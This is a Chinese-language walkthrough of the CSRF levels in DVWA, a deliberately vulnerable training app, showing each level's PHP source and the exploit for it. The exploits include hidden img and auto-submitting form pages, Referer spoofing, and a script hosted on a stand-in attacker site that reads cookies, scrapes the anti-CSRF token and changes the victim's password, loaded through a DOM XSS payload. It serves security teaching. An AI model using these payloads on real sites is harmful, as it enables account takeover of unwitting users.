DVWA CSRF 通关教程

CSRF 介绍

CSRF,全称Cross-site request forgery,即跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作。

可以这样理解CSRF:攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。

Low Security Level

<?php

if( isset( $_GET[ ‘Change‘ ] ) ) {
    // Get input
    $pass_new  = $_GET[ ‘password_new‘ ];
    $pass_conf = $_GET[ ‘password_conf‘ ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = ‘$pass_new‘ WHERE user = ‘" . dvwaCurrentUser() . "‘;";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( ‘<pre>‘ . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . ‘</pre>‘ );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

服务器通过GET方式接收修改密码的请求,会检查参数password_new与password_conf是否相同,如果相同,就会修改密码,没有任何的防CSRF机制(当然服务器对请求的发送者是做了身份验证的,是检查的cookie,只是这里的代码没有体现)。

Exploit

1.构造如下链接:

http://www.dvwa.com/vulnerabilities/csrf/?password_new=test&password_conf=test&Change=Change#

当受害者点击了这个链接,密码就会被改成test

2.使用短链接来隐藏 URL:

为了更加隐蔽,可以生成短网址链接,点击短链接,会自动跳转到真实网站:

http://tinyurl.com/yd2gogtv

3.构造攻击页面:

方式 1 通过img标签中的src属性来加载CSRF攻击利用的URL,并进行布局隐藏,实现了受害者点击链接则会将密码修改。

构造的页面test.html如下:

<img src="http://www.dvwa.com/vulnerabilities/csrf/?password_new=test&password_conf=test&Change=Change#" border="0" style="display:none;"/>
<h1>404<h1>
<h2>file not found.<h2>

将test.html文件放在攻击者自己准备的网站上:

当受害者正在使用自己的网站(浏览器中还保存着session值)时,访问攻击者诱惑点击的此链接:

http://www.hack.com/test.html

误认为是自己点击的是一个失效的url:

但实际上已经遭受了CSRF攻击,密码已经被修改为test

方式 2 查看页面html源代码,将关于密码操作的表单部分,通过javascript的onload事件加载和css代码来隐藏布局,按GET传递参数的方式,进一步构造html form表单,实现了受害者点击链接则会将密码修改。

构造的页面dvwa.html如下:

<body >
<script>
function csrf(){
document.getElementById("button").click();
}
</script>
<style>
form{
display:none;
}
</style>
    <form action="http://www.dvwa.com/vulnerabilities/csrf/?" method="GET">
        New password:<br />
        <input type="password" AUTOCOMPLETE="off" name="password_new" value="test"><br />
        Confirm new password:<br />
        <input type="password" AUTOCOMPLETE="off" name="password_conf" value="test"><br />
        <br />
        <input type="submit" id="button" name="Change" value="Change" />
    </form>
</body>

当受害者正在使用自己的网站(浏览器中还保存着session值)时,访问攻击者诱惑点击的此链接:

http://www.hack.com/dvwa.html

同样会使其密码更改为test

Medium Security Level

<?php

if( isset( $_GET[ ‘Change‘ ] ) ) {
    // Checks to see where the request came from
    if( stripos( $_SERVER[ ‘HTTP_REFERER‘ ] ,$_SERVER[ ‘SERVER_NAME‘ ]) !== false ) {
        // Get input
        $pass_new  = $_GET[ ‘password_new‘ ];
        $pass_conf = $_GET[ ‘password_conf‘ ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );

            // Update the database
            $insert = "UPDATE `users` SET password = ‘$pass_new‘ WHERE user = ‘" . dvwaCurrentUser() . "‘;";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( ‘<pre>‘ . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . ‘</pre>‘ );

            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn‘t come from a trusted source
        echo "<pre>That request didn‘t look correct.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

相关函数介绍:

stripos()函数:

stripos(string,find,start)

stripos()函数查找字符串在另一字符串中第一次出现的位置,不区分大小写。

PHP超全局变量$_SERVER中的两个值:

$_SERVER[‘HTTP_REFERER‘]:PHP中获取链接到当前页面的前一页面的url链接地址,即HTTP数据包中的Referer参数的值。

$_SERVER[‘SERVER_NAME‘]:PHP中获取服务器主机的名称,即HTTP数据包中的Host参数的值。

用户正常登录使用修改密码操作时,可以看到:

Medium Security Level的代码使用stripos()函数检查HTTP头,过滤规则是$_SERVER[‘HTTP_REFERER‘]的值中必须包含$_SERVER[‘SERVER_NAME‘],以此来抵御CSRF攻击。

Exploit

将Low Security Level第三种方法中的攻击页面test.html复制一份,命名为www.dvwa.com.html,

我们还是按照之前的操作,先诱惑受害者点击http://www.hack.com/test.html,抓包,并发送到Repeater中:

执行失败,出现:That request didn‘t look correct.

此时让受害者访问www.dvwa.com.html文件,即在Repeater中修改HTTP数据包中的Referer参数为:

http://www.hack.com/www.dvwa.com.html

成功修改了密码:

High Security Level

<?php

if( isset( $_GET[ ‘Change‘ ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ ‘user_token‘ ], $_SESSION[ ‘session_token‘ ], ‘index.php‘ );

    // Get input
    $pass_new  = $_GET[ ‘password_new‘ ];
    $pass_conf = $_GET[ ‘password_conf‘ ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = ‘$pass_new‘ WHERE user = ‘" . dvwaCurrentUser() . "‘;";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( ‘<pre>‘ . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . ‘</pre>‘ );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

可以看到,High Security Level的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。

Exploit

要绕过High Security Level的反CSRF机制,关键是要获取token,要利用受害者的cookie去修改密码的页面获取关键的token。

试着去构造一个攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而完成CSRF攻击,下面是代码。

xss.js:

alert(document.cookie);
var theUrl = ‘http://www.dvwa.com/vulnerabilities/csrf/‘;
if(window.XMLHttpRequest) {
    xmlhttp = new XMLHttpRequest();
}else{
    xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
var count = 0;
xmlhttp.withCredentials = true;
xmlhttp.onreadystatechange=function(){
    if(xmlhttp.readyState ==4 && xmlhttp.status==200)
    {
        var text = xmlhttp.responseText;
        var regex = /user_token\‘ value\=\‘(.*?)\‘ \/\>/;
        var match = text.match(regex);
        console.log(match);
        alert(match[1]);
            var token = match[1];
                var new_url = ‘http://www.dvwa.com/vulnerabilities/csrf/?user_token=‘+token+‘&password_new=test&password_conf=test&Change=Change‘;
                if(count==0){
                    count++;
                    xmlhttp.open("GET",new_url,false);
                    xmlhttp.send();
                }

    }
};
xmlhttp.open("GET",theUrl,false);
xmlhttp.send();

xss.js放置于攻击者的网站上:http://www.hack.com/xss.js

DOM XSS 与 CSRF 结合:

CSRF结合同Security Level的DOM XSS,通过ajax实现跨域请求来获取用户的user_token,用以下链接来让受害者访问:

http://www.dvwa.com/vulnerabilities/xss_d/?default=English #<script src="http://www.hack.com/xss.js"></script>

诱导点击后,成功将密码修改为test

Impossible Security Level

<?php

if( isset( $_GET[ ‘Change‘ ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ ‘user_token‘ ], $_SESSION[ ‘session_token‘ ], ‘index.php‘ );

    // Get input
    $pass_curr = $_GET[ ‘password_current‘ ];
    $pass_new  = $_GET[ ‘password_new‘ ];
    $pass_conf = $_GET[ ‘password_conf‘ ];

    // Sanitise current password input
    $pass_curr = stripslashes( $pass_curr );
    $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass_curr = md5( $pass_curr );

    // Check that the current password is correct
    $data = $db->prepare( ‘SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;‘ );
    $data->bindParam( ‘:user‘, dvwaCurrentUser(), PDO::PARAM_STR );
    $data->bindParam( ‘:password‘, $pass_curr, PDO::PARAM_STR );
    $data->execute();

    // Do both new passwords match and does the current password match the user?
    if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
        // It does!
        $pass_new = stripslashes( $pass_new );
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update database with new password
        $data = $db->prepare( ‘UPDATE users SET password = (:password) WHERE user = (:user);‘ );
        $data->bindParam( ‘:password‘, $pass_new, PDO::PARAM_STR );
        $data->bindParam( ‘:user‘, dvwaCurrentUser(), PDO::PARAM_STR );
        $data->execute();

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match or current password incorrect.</pre>";
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

Impossible Security Level的代码利用PDO技术防御SQL注入,至于防护CSRF,则要求用户输入原始密码,攻击者在不知道原始密码的情况下,无论如何都无法进行CSRF攻击。

转载自:AnCoLin‘s Blog|影风博客DVWA CSRF 通关教程

原文地址:https://www.cnblogs.com/yyxianren/p/11381285.html

时间: 2024-10-13 11:25:24

DVWA CSRF 通关教程的相关文章

DVWA XSS (DOM) 通关教程

DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容.结构以及样式. DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞. 在网站页面中有许多页面的元素,当页面到达浏览器时浏览器会为页面创建一个顶级的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性.方法和事件.可以通过JS脚本对文档对象进行编辑从而修改页面的元素.也就是

DVWA——CSRF 跨站请求伪造

CSRF简介: CSRF(跨站请求伪造),全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie.会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账.改密等).CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用. Low级: 源代码 <?php if( isset( $_GET[ 'C

xss-dvwa平台下的实战

课堂上要求学生自由组队准备一个安全相关的主题讲解,于是会兴冲冲的找到学霸想抱大腿.最近应大腿的需求,决定要补充ppt一部分内容以掩盖我们打酱油的真面目,大胖这里是学霸的外号的意思是一个酱油的技术点太酱油,两个酱油的技术点拼起来就刁刁的叻! 前一篇酱油技术是 登陆会话劫持 还有一个酱油技术就是本文了. 也是醉了,后来确定的主题竟然是如何帮助同学查看室友空间,更醉的是,这种猥琐的事情要让我来做!然而我并不会web安全,我只想安安静静的看汇编! 于是经过一番吐槽之后我躁动的心终于平静下来,下面进入正题

sqlmap的学习之路-自动化测试SQL注入工具

sqlmap 自动化测试sql 注入问题  会返回版本信息等等. Sqlmap是开源的自动化SQL注入工具,由Python写成,因此运行需要安装python环境. 如需了解更多sqlmap资料可以访问官方http://sqlmap.org/,https://github.com/sqlmapproject/sqlmap,https://www.python.org . 注意:sqlmap只是用来检测和利用sql注入点的,并不能扫描出网站有哪些漏洞,使用前请先使用扫描工具扫出sql注入点. 特点:

8岁上海小学生B站教编程惊动苹果,库克亲送生日祝福

什么样的关系才能让库克亲自送上生日祝福? 12月16日,苹果公司CEO专门在微博上向一位中国朋友送上了生日祝福. ![](https://img2018.cnblogs.com/blog/1813797/202001/1813797-20200103212440992-1067877965.jpg) 这个中国朋友,年仅8岁,是个上海小学生. 他其实跟库克非亲非故,也不是苹果重要股东或高管的孩子,他只是利用苹果产品学习编程的小朋友中的一员. 但特别之处在于:这名小学生学而优则教,之前在B站就已经火

sql-lib闯关秘籍之1-10关

首先尝试定向爆破,以提高手工注入速度,修改limit x,1 中的x查询password是否存在表中,lucky的是limit 3,1的时候查到了password列,同样的方法查询username ,又一个lucky,接下来爆破字段的值.以下所有操作建议在虚拟机中进行~ First  you shoud  have  a 文件夹在你电脑上的例如phpstudy的WWW文件夹中 首先进入这里创建数据库,after that ,let‘s  we  go~ 不管是第几关,我们的最终目标是获得用户密码

sql-lib闯关秘籍之11-20关

下面开始11-20关,之前不会的关卡可以参考我这篇文章: sql-lib闯关秘籍之1-10关 不管是第几关,我们的最终目标是获得用户密码,从而获取最高权限! 以下的学习过程中如果遇到那里不会的或者不清楚的地方,欢迎大家留言,我将尽力帮助大家~ 11到21关的提交方式全是post型的,我这里使用burpsuit抓包软件,也可以用hackbar选中的post,下面的实验我们穿插的使用(用hackbar的时候我们的注释符号用#,不用--+,因为--+会出错) 第十一关 从这一关开始,我们就进入到了PO

sql-lib闯关秘籍之21-30关

下面开始11-20关,之前不会的关卡可以参考我这几篇文章: sql-lib闯关秘籍之1-10关,sql-lib闯关秘籍之11-20关 不管是第几关,我们的最终目标是获得用户密码,从而获取最高权限! 以下的学习过程中如果遇到那里不会的或者不清楚的地方,欢迎大家留言,我将尽力帮助大家~  第二十一关 我们输入用户名密码之后发现是这个样子的,和第20关很像对吧,就是cookie的值变成了一堆字母数字,这是对cookie的值进行了base64的处理,其他和20关一样 获取版本库名(我们只要转码就可以了)

sql-lib闯关秘籍之41-50关

下面开始11-20关,之前不会的关卡可以参考我这几篇文章: sql-lib闯关秘籍之1-10关,sql-lib闯关秘籍之11-20关,sql-lib闯关秘籍之21-30关,sql-lib闯关秘籍之41-50关 不管是第几关,我们的最终目标是获得用户密码,从而获取最高权限! 以下的学习过程中如果遇到那里不会的或者不清楚的地方,欢迎大家留言,我将尽力帮助大家~ 第四十一关 这关和第三十九关一样,只是错误没有回显 获得版本和数据库名   ?id=0 union select 1,version(),d